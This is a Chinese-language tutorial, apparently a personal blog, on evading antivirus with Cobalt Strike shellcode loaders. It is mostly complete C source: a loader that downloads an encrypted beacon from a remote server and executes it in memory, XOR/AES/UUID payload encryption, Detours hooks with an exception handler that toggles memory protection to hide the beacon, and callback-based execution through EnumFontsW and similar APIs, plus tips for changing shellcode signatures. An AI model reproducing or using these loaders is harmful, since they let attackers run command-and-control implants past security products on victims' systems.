2.静态绕过
2x0 远程分段加载shellcode
我最经常使用的一种静态绕过的方法
效果:
能过火绒360动静态,但是一些添加用户的命令依然会拦截
加上隐藏窗口360免不了,火绒还是可以
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr,0,400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main(int argc, char** argv) {
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "beacon64.bin";
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
DWORD Oldprotect = 0;
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
((void(*)())shellcode_addr)();
return 0;
}
2x1 混淆加密
混淆加密是最基础的免杀手段之一,也是目前对静态查杀使用较多的手段
2x1x0.异或加密
代码实现
异或加密的key设置非纯数字可能效果好一点点
下面代码是读取bin文件或者shellcode文件后进行异或加解密的代码,加解密代码是一样的
#include <iostream>
#include<Windows.h>
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
void XORcrypt(char str2xor[], size_t len, int key) {
int i; for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
int main()
{
char* BinData = NULL;
size_t size = 0;
int key = 5 + 5;
char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
BinData = ReadBinaryFile(szFilePath, &size);
XORcrypt(BinData, size, key);
return 0;
}
手动异或加密
在010Editor工具可以
箭头处就是key,解密的时候的key也是这个
2x1x1.uuid加密
在下文的内存加解密我会用到uuid的内存中的加解密的示例
加密工具下载地址:https://github.com/Haunted-Banshee/Shellcode-Hastur/
解密代码
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//创建堆,并标记为可执行
void* ha = HeapAlloc(hc, 0, sizeof(uuids)*16);//为堆申请空间
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
//uuid转换成string
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数
CloseHandle(ha);
return 0;
}
2x1x2.ase加密
参考文章:https://www.cnblogs.com/henry666/p/17429382.html
方法一:安装openssl库(失败)
安装完openssl库后https://slproweb.com/products/Win32OpenSSL.html
在vs里面项目配置包含这两个路径
但是调用遇到这个坑
用到了openssl/aes.h文件。在vs中操作。
安装:
vcpkg integrate install
vcpkg install openssl:x86-windows
vcpkg install openssl:x64-windows
代码:
void aes_encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key, unsigned char *ciphertext) {
AES_KEY aes_key;
AES_set_encrypt_key(key, 128, &aes_key);//设置密钥
int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);//每16字节加密一次
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) {
block[j] = plaintext[i * BLOCK_SIZE + j];
}
for (; j < BLOCK_SIZE; j++) {
block[j] = '\0';
}
AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key);
}
}
void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key, unsigned char *plaintext) {
AES_KEY aes_key;
AES_set_decrypt_key(key, 128, &aes_key);
int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1);
unsigned char block[BLOCK_SIZE];
for (int i = 0; i < num_blocks; i++) {
AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key);
int j;
for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) {
plaintext[i * BLOCK_SIZE + j] = block[j];
}
}
}
反正上面方法一是失败的
方法二:
https://blog.csdn.net/m0_62466350/article/details/134735342这篇博客里面找到这个ase加密库,用这个库可以加密
调试加密代码:
#include<Windows.h>
#include <stdio.h>
#include"AES.h"
using namespace std;
#include<iostream>
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL MemeryToFile(LPVOID FileBuffer, DWORD Size)
{
FILE* fpw = fopen("E:\\bypassav\\beacon64ase.bin", "wb");
if (!fpw)
{
printf("打开文件失败\n");
return 0;
}
if (fwrite(FileBuffer, 1, Size, fpw) == 0)
{
printf("文件写入失败");
return 0;
}
fclose(fpw);
fpw = NULL;
printf("存盘成功");
}
void XORcrypt(unsigned char str2xor[], size_t len, int key) {
int i; for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
int main(int argc, char* argv[]) {
const unsigned char *BinData = NULL;
size_t size = 0;
unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
unsigned char* aesData = NULL;
char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
BinData = (const unsigned char*)ReadBinaryFile(szFilePath, &size);
// 加密
AES aes(AESKeyLength::AES_128);
unsigned char* c = aes.EncryptECB(BinData, (unsigned int)size , key);
MemeryToFile(c, size);
char* szFilePath1 = "E:\\bypassav\\beacon64ase.bin";
const unsigned char* TempData = (const unsigned char*)ReadBinaryFile(szFilePath1, &size);
unsigned char* a = aes.DecryptECB(TempData, (unsigned int)size, key);
int xorkey = 5 + 5;
XORcrypt(a, size, xorkey);
return 0;
}
结合上面异或+异常+ase加密的代码
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"
#include "AES.h"
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr,0,400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
void XORcrypt(unsigned char str2xor[], size_t len, int key) {
int i; for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
int main(int argc, char** argv) {
// const unsigned char* key1 = ;
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "beacon64ase.bin";
hEvent = CreateEvent(NULL, TRUE, false, NULL);
PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
if (temp == NULL)
{
printf("AddVectoredExceptionHandler调用失败");
getchar();
return 0;
}
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
//aes解密
AES aes(AESKeyLength::AES_128);
unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key);
//xor解密
int xorkey = 5 + 5;
XORcrypt(a, recvbuf_size,xorkey);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, a, recvbuf_size);
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
((void(*)())shellcode_addr)();
return 0;
}
踩了大坑:
1、key的赋值,本地测试代码直接强转是可以的,到了木马程序就不行了,const unsigned char *key = (const unsigned char *)"132abc"
2、在调用ase库加密函数的时候单步走到那个函数会莫名其妙运行结束堵塞,但是直接运行过去是没问题的
2x1x3.rc4加密
适合短的shellcode,bin文件太大了,这里我暂时还没用上,提供一篇好文章
https://myzxcg.com/2022/01/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8A%A0%E5%AF%86%E4%B8%8EShellcode-%E9%9A%90%E8%97%8F/#rc4-%E5%8A%A0%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2
2x2 敏感winapi替换
相关文章:提供了很多敏感winapi的冷门平替版本
http://ropgadget.com/posts/abusing_win_functions.html
AddClusterNode | BluetoothRegisterForAuthentication | CMTranslateRGBsExt |
---|---|---|
CallWindowProcA | CallWindowProcW | CreateCluster |
CreateDialogIndirectParamA | CreateDialogIndirectParamW | CreateDialogParamA |
CreateDialogParamW | CreatePrintAsyncNotifyChannel | CreateTimerQueueTimer |
DavRegisterAuthCallback | DbgHelpCreateUserDump | DbgHelpCreateUserDumpW |
DdeInitializeA | DdeInitializeW | DestroyCluster |
DialogBoxIndirectParamA | DialogBoxIndirectParamW | DialogBoxParamA |
DialogBoxParamW | DirectSoundCaptureEnumerateA | DirectSoundCaptureEnumerateW |
DirectSoundEnumerateA | DirectSoundEnumerateW | DrawStateA |
DrawStateW | EnumCalendarInfoA | EnumCalendarInfoW |
EnumChildWindows | EnumDateFormatsA | EnumDateFormatsW |
EnumDesktopWindows | EnumDesktopsA | EnumDesktopsW |
EnumEnhMetaFile | EnumFontFamiliesA | EnumFontFamiliesExA |
EnumFontFamiliesExW | EnumFontFamiliesW | EnumFontsA |
EnumFontsW | EnumICMProfilesA | EnumICMProfilesW |
EnumLanguageGroupLocalesA | EnumLanguageGroupLocalesW | EnumMetaFile |
EnumObjects | EnumPropsExA | EnumPropsExW |
EnumPwrSchemes | EnumResourceLanguagesA | EnumResourceLanguagesExA |
EnumResourceLanguagesExW | EnumResourceLanguagesW | EnumResourceNamesA |
EnumResourceNamesExA | EnumResourceNamesExW | EnumResourceNamesW |
EnumResourceTypesA | EnumResourceTypesW | EnumResourceTypesExA |
EnumResourceTypesExW | EnumResourceTypesW | EnumSystemCodePagesA |
EnumSystemCodePagesW | EnumSystemLanguageGroupsA | EnumSystemLanguageGroupsW |
EnumSystemLocalesA | EnumSystemLocalesW | EnumThreadWindows |
EnumTimeFormatsA | EnumTimeFormatsW | EnumUILanguagesA |
EnumUILanguagesW | EnumWindowStationsA | EnumWindowStationsW |
EnumWindows | EnumerateLoadedModules | EnumerateLoadedModulesEx |
EnumerateLoadedModulesExW | EventRegister | GetApplicationRecoveryCallback |
GrayStringA | GrayStringW | KsCreateFilterFactory |
KsMoveIrpsOnCancelableQueue | KsStreamPointerClone | KsStreamPointerScheduleTimeout |
LineDDA | MFBeginRegisterWorkQueueWithMMCSS | MFBeginUnregisterWorkQueueWithMMCSS |
MFPCreateMediaPlayer | MQReceiveMessage | MQReceiveMessageByLookupId |
NotifyIpInterfaceChange | NotifyStableUnicastIpAddressTable | NotifyTeredoPortChange |
NotifyUnicastIpAddressChange | PerfStartProvider | PlaExtractCabinet |
ReadEncryptedFileRaw | RegisterApplicationRecoveryCallback | RegisterForPrintAsyncNotifications |
RegisterServiceCtrlHandlerExA | RegisterServiceCtrlHandlerExW | RegisterWaitForSingleObject |
RegisterWaitForSingleObjectEx | SHCreateThread | SHCreateThreadWithHandle |
SendMessageCallbackA | SendMessageCallbackW | SetTimerQueueTimer |
SetWinEventHook | SetWindowsHookExA | SetWindowsHookExW |
SetupDiRegisterDeviceInfo | SymEnumLines | SymEnumLinesW |
SymEnumProcesses | SymEnumSourceLines | SymEnumSourceLinesW |
SymEnumSymbols | SymEnumSymbolsForAddr | SymEnumSymbolsForAddrW |
SymEnumSymbolsW | SymEnumTypes | SymEnumTypesByName |
SymEnumTypesByNameW | SymEnumTypesW | SymEnumerateModules |
SymEnumerateModules64 | SymEnumerateSymbols | SymEnumerateSymbols64 |
SymEnumerateSymbolsW | SymSearch | SymSearchW |
TranslateBitmapBits | WPUQueryBlockingCallback | WdsCliTransferFile |
WdsCliTransferImage | WinBioCaptureSampleWithCallback | WinBioEnrollCaptureWithCallback |
WinBioIdentifyWithCallback | WinBioLocateSensorWithCallback | WinBioRegisterEventMonitor |
WinBioVerifyWithCallback | WlanRegisterNotification | WriteEncryptedFileRaw |
WsPullBytes | WsPushBytes | WsReadEnvelopeStart |
WsRegisterOperationForCancel | WsWriteEnvelopeStart | mciSetYieldProc |
midiInOpen | midiOutOpen | mixerOpen |
mmioInstallIOProcA | mmioInstallIOProcW | waveInOpen |
waveOutOpen |
2x2x0 回调函数执行加载器
EnumFontsW
这段代码的关键在于它使用EnumFontsW
函数的回调机制来执行 shellcode。当 EnumFontsW
函数遍历到一个字体时,它将调用 shellcode 作为回调函数来处理字体信息。由于回调函数直接指向 shellcode,这样可以间接地加载并执行 shellcode
#include <Windows.h>
unsigned char shellcode[] ="";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
/*
* EnumFontsW是Windows API,用于枚举系统中所有可用字体
* 参数1:设备环境句柄,表示要枚举哪个设备的字体
* 参数2:NULL表示枚举所有字体
* 参数3:回调函数指针,用于处理每个枚举到的字体信息
* 参数4:回调函数参数
*/
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数
}
int main() {
CallBack();
}
EnumUILanguages
EnumUILanguages
函数是一个Windows API函数,用于枚举系统支持的用户界面(UI)语言。这个函数可以让应用程序查询系统支持的所有UI语言,这对于开发多语言支持的应用程序特别有用。它遵循特定的回调函数模式,意味着你需要提供一个回调函数,EnumUILanguages
会为系统中每一种可用的UI语言调用这个回调函数一次
其函数原型如下所示:
BOOL EnumUILanguagesW(
UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // 指向回调函数的指针
DWORD dwFlags, // 指定枚举语言的行为
LONG_PTR lParam // 提供一个应用程序定义的值,该值随着每次回调函数调用被传递
);
shellcode加载代码如下所示:
#include <Windows.h>
unsigned char shellcode[] ="";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
EnumUILanguages((UILANGUAGE_ENUMPROC)p, 0, 0);
}
int main() {
CallBack();
}
EnumFontFamiliesEx
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}
2x3 bin文件替换
2x3x0 cs敏感api哈希
API hash是恶意软件经常使用的一种技术,用于掩饰可疑API的使用。Cobalt strikel的哈希算法是ROR13
我们可以使用已知的API哈希列表来正确识别payload类型,并可以使用这些已知的API哈希通过Yara规则进行更准确的检测。
Huntress 博客中详细介绍的哈希替换脚本和 yara 规则: https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
敏感api哈希替换工具:
https://github.com/embee-research/Randomise-api-hashes-cobalt-strike
2x3x1 硬编码手动替换
比如在生成的cs的bin文件开头第一个硬编码为fc是一个特征,我们只要在最前面加个0x90即可修改这个特征,虽然这不足以绕过静态检测但是是一个思路,可以多改其他地方
方法一:
生成c语言的二进制文件,里面是一个数组变量,我们直接更改增加硬编码后保存为文件也可以
方法二:
linux命令:xxd -i payload.bin > payloads.c
转为数组后也是一样修改复制去上面的代码保存为另外一个bin文件
DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;
这句代码的作用是为了保存shellcode内存首地址,用mem_ptr去遍历,遍历到最后mem_ptr的地址会是shellcode的尾地址,但是我们调用shellcode就直接调用base_addr即可